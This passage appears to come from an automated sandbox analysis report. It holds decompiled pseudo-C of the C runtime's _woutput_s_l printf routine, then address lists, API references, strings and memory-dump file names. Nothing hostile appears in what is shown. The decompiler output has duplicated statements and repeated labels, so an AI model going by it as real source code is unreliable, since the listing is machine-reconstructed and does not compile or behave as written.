															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
												case 0xc:
													L141:
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 0xd:
													L144:
													 *(__ebp - 0x460) = 0x27;
													L145:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx = 0x30;
														 *((short*)(__ebp - 0x14)) = __dx;
														 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
														__eflags =  *(__ebp - 0x460) + 0x51;
														 *(__ebp - 0x12) = __ax;
														 *(__ebp - 0x1c) = 2;
													}
													L150:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E00428360(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428360(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																	 *(__ebp - 0x49c) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428360(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x4a0) = E00428380(__ebp + 0x14);
															 *(__ebp - 0x49c) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x4a0) = E00428380(__ebp + 0x14);
														 *(__ebp - 0x49c) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L167:
														__ecx =  *(__ebp - 0x4a0);
														 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
														__edx =  *(__ebp - 0x49c);
														 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
														goto L168;
													} else {
														L163:
														__eflags =  *(__ebp - 0x49c);
														if(__eflags > 0) {
															goto L167;
														}
														L164:
														if(__eflags < 0) {
															L166:
															 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
															__edx =  *(__ebp - 0x49c);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
															 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L168:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x4a8);
																	__eax =  *(__ebp - 0x4a4);
																	__eax =  *(__ebp - 0x4a4) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x4a4) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x249;
															 *(__ebp - 4) = __ebp - 0x249;
															while(1) {
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																L179:
																 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																	goto L183;
																}
																L180:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x4a4);
																__edx =  *(__ebp - 0x4a8);
																__eax = E00430780( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
																 *(__ebp - 0x494) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x4a4);
																__ecx =  *(__ebp - 0x4a8);
																 *(__ebp - 0x4a8) = E00430800( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
																 *(__ebp - 0x4a4) = __edx;
																__eflags =  *(__ebp - 0x494) - 0x39;
																if( *(__ebp - 0x494) > 0x39) {
																	__edx =  *(__ebp - 0x494);
																	__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
																	__eflags = __edx;
																	 *(__ebp - 0x494) = __edx;
																}
																__eax =  *(__ebp - 4);
																 *( *(__ebp - 4)) =  *(__ebp - 0x494);
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																goto L179;
															}
														}
														L165:
														__eflags =  *(__ebp - 0x4a0);
														if( *(__ebp - 0x4a0) >= 0) {
															goto L167;
														}
														goto L166;
													}
												case 0xe:
													while(1) {
														L187:
														if( *(_t596 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
											}
										case 8:
											L24:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) = __ecx;
											goto L27;
										case 9:
											L25:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L27;
										case 0xa:
											L23:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											goto L27;
										case 0xb:
											L22:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L27;
										case 0xc:
											L26:
											__eax =  *(__ebp - 0x10);
											__eax =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __eax;
											 *(__ebp - 0x10) = __eax;
											goto L27;
										case 0xd:
											L27:
											goto L214;
									}
								} else {
									_t571 = 0;
									if(0 == 0) {
										 *(_t596 - 0x4dc) = 0;
									} else {
										 *(_t596 - 0x4dc) = 1;
									}
									 *(_t596 - 0x46c) =  *(_t596 - 0x4dc);
									if( *(_t596 - 0x46c) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t502 = L0041E210();
										_t599 = _t599 + 0x14;
										if(_t502 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t596 - 0x46c) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00422D00(_t543))) = 0x16;
										E00422A90(_t534, _t543, _t594, _t595, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t596 - 0x4c8) = 0xffffffff;
										E0041ACB0(_t596 - 0x40);
										_t487 =  *(_t596 - 0x4c8);
										L225:
										return E0042BCB0(_t487, _t534,  *(_t596 - 0x48) ^ _t596, _t571, _t594, _t595);
									}
								}
							}
							L215:
							if( *(_t596 - 0x45c) == 0) {
								L218:
								 *(_t596 - 0x4f8) = 1;
								L219:
								_t571 =  *(_t596 - 0x4f8);
								 *(_t596 - 0x4bc) =  *(_t596 - 0x4f8);
								if( *(_t596 - 0x4bc) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t492 = L0041E210();
									_t599 = _t599 + 0x14;
									if(_t492 == 1) {
										asm("int3");
									}
								}
								if( *(_t596 - 0x4bc) != 0) {
									 *(_t596 - 0x4d4) =  *(_t596 - 0x44c);
									E0041ACB0(_t596 - 0x40);
									_t487 =  *(_t596 - 0x4d4);
								} else {
									 *((intOrPtr*)(L00422D00(_t535))) = 0x16;
									E00422A90(_t534, _t535, _t594, _t595, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t596 - 0x4d0) = 0xffffffff;
									E0041ACB0(_t596 - 0x40);
									_t487 =  *(_t596 - 0x4d0);
								}
								goto L225;
							}
							L216:
							if( *(_t596 - 0x45c) == 7) {
								goto L218;
							}
							L217:
							 *(_t596 - 0x4f8) = 0;
							goto L219;
						}
					}
					L76:
					_t567 =  *0x440f80; // 0x404448
					 *(_t596 - 4) = _t567;
					_t484 = E0041DCB0( *(_t596 - 4));
					_t599 = _t599 + 4;
					 *(_t596 - 0x24) = _t484;
					goto L80;
				}
			}

0x0043bda4
0x0043bda4
0x0043bda4
0x0043bda4
0x0043bda4
0x0043bda4
0x0043bda8
0x0043bdad
0x0043bdb0
0x0043bdbd
0x00000000
0x00000000
0x0043bdbf
0x0043bdbf
0x0043bdc9
0x0043bde8
0x0043bdee
0x0043be16
0x0043be1d
0x0043be23
0x0043be26
0x0043be29
0x0043be2f
0x0043be32
0x0043bdf0
0x0043bdf0
0x0043bdf6
0x0043bdf9
0x0043bdfc
0x0043be02
0x0043be05
0x0043be08
0x0043be0a
0x0043be0d
0x0043be0d
0x0043be35
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x0043c53a
0x0043c540
0x0043c54a
0x0043c564
0x0043c57e
0x0043c585
0x0043c589
0x0043c589
0x0043c566
0x0043c56b
0x0043c56f
0x0043c56f
0x0043c54c
0x0043c551
0x0043c555
0x0043c555
0x0043c54a
0x0043c599
0x0043c5a5
0x0043c5bb
0x0043c5c0
0x0043c5c0
0x0043c5d6
0x0043c5db
0x0043c5e4
0x0043c5ec
0x0043c602
0x0043c607
0x0043c607
0x0043c5ec
0x0043c60e
0x0043c6c8
0x0043c6db
0x0043c6e0
0x00000000
0x0043c614
0x0043c614
0x0043c618
0x00000000
0x00000000
0x0043c61e
0x0043c621
0x0043c62a
0x0043c630
0x0043c630
0x0043c63f
0x0043c647
0x00000000
0x00000000
0x0043c649
0x0043c64c
0x0043c671
0x0043c676
0x0043c679
0x0043c686
0x0043c694
0x0043c6a7
0x0043c6ac
0x0043c6bb
0x00000000
0x0043c6bb
0x0043c688
0x0043c688
0x00000000
0x0043c688
0x0043c6c6
0x0043c6e3
0x0043c6ea
0x0043c6f2
0x0043c708
0x0043c70d
0x0043c70d
0x0043c6f2
0x0043c6ea
0x0043c710
0x0043c714
0x0043c71c
0x0043c721
0x0043c724
0x0043c724
0x0043c72b
0x0043c72b
0x0043b8ab
0x0043b8b2
0x0043b8bf
0x0043b8c4
0x00000000
0x0043b8d7
0x0043b8e1
0x0043b908
0x0043b8ef
0x0043b900
0x0043b900
0x0043b8e1
0x0043b912
0x0043b918
0x0043b924
0x0043b927
0x0043b935
0x0043b938
0x0043b945
0x0043b9ea
0x0043b9f0
0x0043b9fd
0x00000000
0x00000000
0x0043ba03
0x0043ba09
0x00000000
0x0043ba10
0x0043ba10
0x0043ba2a
0x0043ba2f
0x00000000
0x00000000
0x0043ba37
0x0043ba37
0x0043ba3e
0x0043ba41
0x0043ba44
0x0043ba47
0x0043ba4a
0x0043ba4d
0x0043ba50
0x0043ba57
0x0043ba5e
0x00000000
0x00000000
0x0043ba6a
0x0043ba6a
0x0043ba71
0x0043ba7d
0x0043ba80
0x0043ba86
0x0043ba8d
0x00000000
0x00000000
0x0043ba8f
0x0043ba95
0x0043ba95
0x0043ba9c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bae0
0x0043bae0
0x0043bae7
0x0043baea
0x0043bb14
0x0043bb17
0x0043bb17
0x0043bb21
0x0043bb21
0x0043bb25
0x0043baec
0x0043baec
0x0043baf8
0x0043bafb
0x0043baff
0x0043bb01
0x0043bb04
0x0043bb04
0x0043bb07
0x0043bb0a
0x0043bb0d
0x0043bb0f
0x0043bb0f
0x0043bb12
0x0043bb28
0x00000000
0x00000000
0x0043bb2d
0x0043bb2d
0x00000000
0x00000000
0x0043bb39
0x0043bb39
0x0043bb40
0x0043bb43
0x0043bb63
0x0043bb66
0x0043bb66
0x0043bb70
0x0043bb70
0x0043bb74
0x0043bb45
0x0043bb45
0x0043bb51
0x0043bb54
0x0043bb58
0x0043bb5a
0x0043bb5a
0x0043bb61
0x00000000
0x00000000
0x0043bb7c
0x0043bb7c
0x0043bb83
0x0043bb8f
0x0043bb92
0x0043bb98
0x0043bb9f
0x0043bcb2
0x00000000
0x0043bcb2
0x0043bba5
0x0043bbab
0x0043bbab
0x0043bbb2
0x00000000
0x0043bbe9
0x0043bbe9
0x0043bbec
0x0043bbef
0x0043bbf2
0x0043bc19
0x0043bc19
0x0043bc1c
0x0043bc1f
0x0043bc22
0x0043bc46
0x0043bc46
0x0043bc49
0x0043bc4c
0x0043bc4f
0x0043bc88
0x0043bc99
0x00000000
0x0043bc99
0x0043bc51
0x0043bc51
0x0043bc54
0x0043bc57
0x0043bc5a
0x00000000
0x00000000
0x0043bc5c
0x0043bc5c
0x0043bc5f
0x0043bc62
0x0043bc65
0x00000000
0x00000000
0x0043bc67
0x0043bc67
0x0043bc6a
0x0043bc6d
0x0043bc70
0x00000000
0x00000000
0x0043bc72
0x0043bc72
0x0043bc75
0x0043bc78
0x0043bc7b
0x00000000
0x00000000
0x0043bc7d
0x0043bc7d
0x0043bc80
0x0043bc83
0x0043bc86
0x0043bc8a
0x00000000
0x0043bc8a
0x00000000
0x0043bc86
0x0043bc24
0x0043bc24
0x0043bc27
0x0043bc2b
0x0043bc2e
0x00000000
0x0043bc30
0x0043bc33
0x0043bc36
0x0043bc3c
0x0043bc41
0x00000000
0x0043bc41
0x0043bc2e
0x0043bbf4
0x0043bbf4
0x0043bbf7
0x0043bbfb
0x0043bbfe
0x00000000
0x0043bc00
0x0043bc03
0x0043bc06
0x0043bc0c
0x0043bc11
0x00000000
0x0043bc11
0x00000000
0x0043bc9b
0x0043bc9b
0x0043bc9e
0x0043bca1
0x00000000
0x00000000
0x0043bbb9
0x0043bbb9
0x0043bbbc
0x0043bbbf
0x0043bbc2
0x0043bbdb
0x0043bbde
0x0043bbde
0x0043bbe1
0x0043bbc4
0x0043bbc4
0x0043bbc7
0x0043bbca
0x0043bbd0
0x0043bbd6
0x0043bbd6
0x00000000
0x00000000
0x0043bca6
0x0043bca6
0x0043bca9
0x0043bca9
0x0043bcaf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bcb7
0x0043bcb7
0x0043bcbe
0x0043bcc4
0x0043bcca
0x0043bccd
0x0043bcd3
0x0043bcda
0x00000000
0x0043c530
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x0043c4e7
0x0043c4ed
0x0043c4f0
0x0043c4f3
0x0043c4f6
0x0043c4f9
0x0043c4ff
0x0043c4ff
0x0043c4ff
0x0043c507
0x0043c50b
0x00000000
0x00000000
0x0043c50d
0x0043c50d
0x0043c510
0x0043c513
0x0043c513
0x0043c518
0x0043c51b
0x0043c51e
0x0043c521
0x0043c524
0x0043c527
0x0043c52a
0x0043c52a
0x0043c52d
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x0043c530
0x0043bce0
0x0043bce6
0x0043bce6
0x0043bced
0x00000000
0x0043c071
0x0043c071
0x0043c07f
0x0043c07f
0x0043c082
0x00000000
0x00000000
0x0043bcf4
0x0043bcf7
0x0043bcf7
0x0043bcfd
0x0043bcff
0x0043bd02
0x0043bd02
0x0043bd05
0x0043bd05
0x00000000
0x00000000
0x0043be3a
0x0043be3d
0x0043be3d
0x0043be42
0x0043be44
0x0043be47
0x0043be47
0x0043be4a
0x0043be4a
0x00000000
0x00000000
0x0043c23d
0x0043c23d
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c089
0x0043c08c
0x0043c08f
0x0043c092
0x0043c098
0x0043c09b
0x0043c0a2
0x0043c0a6
0x0043c0b1
0x0043c0b1
0x0043c0b5
0x0043c0cc
0x0043c0cc
0x0043c0d3
0x0043c0d5
0x0043c0d5
0x0043c0dc
0x0043c0dc
0x0043c0e3
0x0043c0f1
0x0043c0f4
0x0043c103
0x0043c106
0x0043c10a
0x0043c11f
0x0043c10c
0x0043c10c
0x0043c10f
0x0043c115
0x0043c11a
0x0043c11a
0x0043c10a
0x0043c129
0x0043c12c
0x0043c12f
0x0043c132
0x0043c135
0x0043c138
0x0043c13e
0x0043c144
0x0043c14c
0x0043c14d
0x0043c150
0x0043c151
0x0043c154
0x0043c155
0x0043c15c
0x0043c15d
0x0043c160
0x0043c161
0x0043c164
0x0043c165
0x0043c16b
0x0043c16c
0x0043c17b
0x0043c17d
0x0043c183
0x0043c183
0x0043c188
0x0043c18a
0x0043c18e
0x0043c190
0x0043c198
0x0043c199
0x0043c19c
0x0043c19d
0x0043c1ac
0x0043c1ae
0x0043c1ae
0x0043c18e
0x0043c1b1
0x0043c1b8
0x0043c1bb
0x0043c1c0
0x0043c1c0
0x0043c1c6
0x0043c1c8
0x0043c1d0
0x0043c1d1
0x0043c1d4
0x0043c1d5
0x0043c1e3
0x0043c1e5
0x0043c1e5
0x0043c1c6
0x0043c1e8
0x0043c1eb
0x0043c1ee
0x0043c1f1
0x0043c1f6
0x0043c1fb
0x0043c1fe
0x0043c201
0x0043c201
0x0043c204
0x0043c204
0x0043c207
0x0043c213
0x00000000
0x0043c213
0x0043c0b7
0x0043c0b7
0x0043c0be
0x0043c0c1
0x00000000
0x00000000
0x0043c0c3
0x0043c0c3
0x00000000
0x0043c0c3
0x0043c0a8
0x0043c0a8
0x00000000
0x00000000
0x0043bd08
0x0043bd08
0x0043bd13
0x0043bd1b
0x0043bd22
0x0043bd25
0x0043bd25
0x0043bd28
0x0043bd88
0x0043bd2a
0x0043bd31
0x0043bd37
0x0043bd3d
0x0043bd44
0x0043bd47
0x0043bd4d
0x0043bd55
0x0043bd57
0x0043bd5e
0x0043bd65
0x0043bd6c
0x0043bd74
0x0043bd76
0x0043bd78
0x0043bd78
0x0043bd7f
0x0043bd8f
0x0043bd95
0x0043bd98
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x00000000
0x00000000
0x0043c21b
0x0043c21e
0x0043c221
0x0043c224
0x00000000
0x00000000
0x0043bf7a
0x0043bf7a
0x0043bf86
0x0043bf8c
0x0043bf91
0x0043bf93
0x0043c03d
0x0043c03d
0x0043c040
0x0043c040
0x0043c043
0x0043c057
0x0043c05d
0x0043c063
0x0043c045
0x0043c045
0x0043c04b
0x0043c052
0x0043c052
0x0043c065
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x0043c530
0x0043bf99
0x0043bf99
0x0043bf99
0x0043bf9b
0x0043bfa9
0x0043bf9d
0x0043bf9d
0x0043bf9d
0x0043bfb3
0x0043bfb9
0x0043bfbf
0x0043bfc6
0x0043bfc8
0x0043bfcd
0x0043bfcf
0x0043bfd4
0x0043bfd9
0x0043bfdb
0x0043bfe0
0x0043bfe3
0x0043bfe6
0x0043bfe8
0x0043bfe8
0x0043bfe6
0x0043bfe9
0x0043bff0
0x0043c038
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x0043bff2
0x0043bff2
0x0043bff7
0x0043c013
0x0043c01b
0x0043c025
0x0043c028
0x0043c02d
0x00000000
0x0043c02d
0x00000000
0x0043c284
0x0043c284
0x0043c28e
0x0043c28e
0x0043c294
0x0043c296
0x0043c299
0x0043c299
0x0043c29f
0x0043c29f
0x00000000
0x00000000
0x0043c236
0x0043c236
0x00000000
0x00000000
0x0043be4d
0x0043be4d
0x0043be51
0x0043be5f
0x0043be62
0x0043be53
0x0043be53
0x0043be53
0x0043be68
0x0043be6e
0x0043be74
0x0043be80
0x0043be86
0x0043be86
0x0043be89
0x0043bf11
0x0043bf11
0x0043bf15
0x0043bf17
0x0043bf1d
0x0043bf1d
0x0043bf20
0x0043bf27
0x0043bf2a
0x0043bf30
0x0043bf30
0x0043bf30
0x0043bf36
0x0043bf3c
0x0043bf3f
0x0043bf45
0x0043bf47
0x00000000
0x00000000
0x0043bf49
0x0043bf49
0x0043bf4f
0x0043bf52
0x0043bf54
0x00000000
0x00000000
0x0043bf56
0x0043bf5c
0x0043bf5f
0x0043bf5f
0x0043bf67
0x0043bf67
0x0043bf6d
0x0043bf6d
0x0043bf72
0x00000000
0x0043be8f
0x0043be8f
0x0043be8f
0x0043be93
0x0043be95
0x0043be9a
0x0043be9a
0x0043be9d
0x0043bea0
0x0043bea6
0x0043beb8
0x0043beb8
0x0043beb8
0x0043bebb
0x0043bec1
0x00000000
0x00000000
0x0043bec3
0x0043bec3
0x0043bec9
0x0043becc
0x0043bece
0x00000000
0x00000000
0x0043bed0
0x0043bed0
0x0043bed9
0x0043bedf
0x0043bee3
0x0043beeb
0x0043beed
0x0043beef
0x0043bef5
0x0043bef5
0x0043bef8
0x0043bef8
0x0043bf04
0x0043bf07
0x0043beaf
0x0043beb2
0x0043beb2
0x0043beb5
0x0043beb5
0x0043bf0f
0x0043bf75
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x0043c530
0x00000000
0x0043c22d
0x0043c22d
0x00000000
0x00000000
0x0043c249
0x0043c249
0x0043c253
0x0043c253
0x0043c25d
0x0043c25d
0x0043c263
0x0043c265
0x0043c26a
0x0043c274
0x0043c274
0x0043c277
0x0043c27b
0x0043c27b
0x0043c2a2
0x0043c2a5
0x0043c2a5
0x0043c2aa
0x0043c2cc
0x0043c2cc
0x0043c2d2
0x0043c2f4
0x0043c2f4
0x0043c2f7
0x0043c33e
0x0043c33e
0x0043c341
0x0043c35e
0x0043c362
0x0043c36a
0x0043c36a
0x0043c36c
0x0043c372
0x0043c343
0x0043c343
0x0043c347
0x0043c34f
0x0043c350
0x0043c356
0x0043c356
0x0043c2f9
0x0043c2fc
0x0043c2fc
0x0043c2ff
0x0043c31d
0x0043c329
0x0043c32c
0x0043c32d
0x0043c333
0x0043c301
0x0043c301
0x0043c305
0x0043c30d
0x0043c30e
0x0043c30f
0x0043c315
0x0043c315
0x0043c339
0x0043c2d4
0x0043c2d4
0x0043c2e0
0x0043c2e6
0x0043c2e6
0x0043c2ac
0x0043c2ac
0x0043c2b8
0x0043c2be
0x0043c2be
0x0043c37b
0x0043c37b
0x0043c37e
0x0043c3c0
0x0043c3c0
0x0043c3c6
0x0043c3cc
0x0043c3d2
0x00000000
0x0043c380
0x0043c380
0x0043c380
0x0043c387
0x00000000
0x00000000
0x0043c389
0x0043c389
0x0043c394
0x0043c39a
0x0043c39c
0x0043c3a2
0x0043c3a5
0x0043c3a7
0x0043c3ad
0x0043c3b6
0x0043c3bb
0x0043c3d8
0x0043c3db
0x0043c3db
0x0043c3e0
0x0043c3e5
0x0043c3e5
0x0043c3eb
0x0043c3ed
0x0043c3f3
0x0043c3f9
0x0043c3f9
0x0043c402
0x0043c402
0x0043c3eb
0x0043c408
0x0043c40c
0x0043c41a
0x0043c41d
0x0043c420
0x0043c427
0x0043c429
0x0043c429
0x0043c40e
0x0043c40e
0x0043c40e
0x0043c436
0x0043c436
0x0043c43c
0x0043c43e
0x0043c43e
0x0043c445
0x0043c44b
0x0043c44e
0x0043c44e
0x0043c44e
0x0043c454
0x0043c457
0x0043c45a
0x0043c45c
0x00000000
0x00000000
0x0043c45e
0x0043c464
0x0043c464
0x0043c46a
0x00000000
0x00000000
0x0043c46c
0x0043c46c
0x0043c46f
0x0043c472
0x0043c479
0x0043c480
0x0043c488
0x0043c48e
0x0043c491
0x0043c494
0x0043c49b
0x0043c4a7
0x0043c4ad
0x0043c4b3
0x0043c4ba
0x0043c4bc
0x0043c4c2
0x0043c4c2
0x0043c4c8
0x0043c4c8
0x0043c4ce
0x0043c4d7
0x0043c4dc
0x0043c4df
0x0043c44e
0x0043c44e
0x0043c454
0x0043c457
0x0043c45a
0x0043c45c
0x00000000
0x00000000
0x00000000
0x0043c45c
0x0043c44e
0x0043c38b
0x0043c38b
0x0043c392
0x00000000
0x00000000
0x00000000
0x0043c392
0x00000000
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x00000000
0x00000000
0x0043bab9
0x0043bab9
0x0043babc
0x0043babf
0x00000000
0x00000000
0x0043bac4
0x0043bac7
0x0043bacd
0x00000000
0x00000000
0x0043baae
0x0043bab1
0x0043bab4
0x00000000
0x00000000
0x0043baa3
0x0043baa6
0x0043baa9
0x00000000
0x00000000
0x0043bad2
0x0043bad2
0x0043bad5
0x0043bad5
0x0043bad8
0x00000000
0x00000000
0x0043badb
0x00000000
0x00000000
0x0043b94b
0x0043b94b
0x0043b94d
0x0043b95b
0x0043b94f
0x0043b94f
0x0043b94f
0x0043b96b
0x0043b978
0x0043b97a
0x0043b97f
0x0043b981
0x0043b986
0x0043b98b
0x0043b98d
0x0043b992
0x0043b998
0x0043b99a
0x0043b99a
0x0043b998
0x0043b99b
0x0043b9a2
0x00000000
0x0043b9a4
0x0043b9a9
0x0043b9c5
0x0043b9cd
0x0043b9da
0x0043b9df
0x0043c7f4
0x0043c801
0x0043c801
0x0043b9a2
0x0043b945
0x0043c730
0x0043c737
0x0043c74e
0x0043c74e
0x0043c758
0x0043c758
0x0043c75e
0x0043c76b
0x0043c76d
0x0043c772
0x0043c774
0x0043c779
0x0043c77e
0x0043c780
0x0043c785
0x0043c78b
0x0043c78d
0x0043c78d
0x0043c78b
0x0043c795
0x0043c7e0
0x0043c7e9
0x0043c7ee
0x0043c797
0x0043c79c
0x0043c7b8
0x0043c7c0
0x0043c7cd
0x0043c7d2
0x0043c7d2
0x00000000
0x0043c795
0x0043c739
0x0043c740
0x00000000
0x00000000
0x0043c742
0x0043c742
0x00000000
0x0043c742
0x0043c530
0x0043bdcb
0x0043bdcb
0x0043bdd1
0x0043bdd8
0x0043bddd
0x0043bde0
0x00000000
0x0043bde0

APIs

_get_int_arg.LIBCMTD ref: 0043BDA8
_strlen.LIBCMT ref: 0043BDD8
_write_multi_char.LIBCMTD ref: 0043C5BB
_write_string.LIBCMTD ref: 0043C5D6
_write_multi_char.LIBCMTD ref: 0043C602
__mbtowc_l.LIBCMTD ref: 0043C671

Strings

HD@, xrefs: 0043BDCB
_woutput_s_l, xrefs: 0043B9BB
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043B986, 0043B9B6
("Incorrect format specifier", 0), xrefs: 0043B97A, 0043B9C0

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
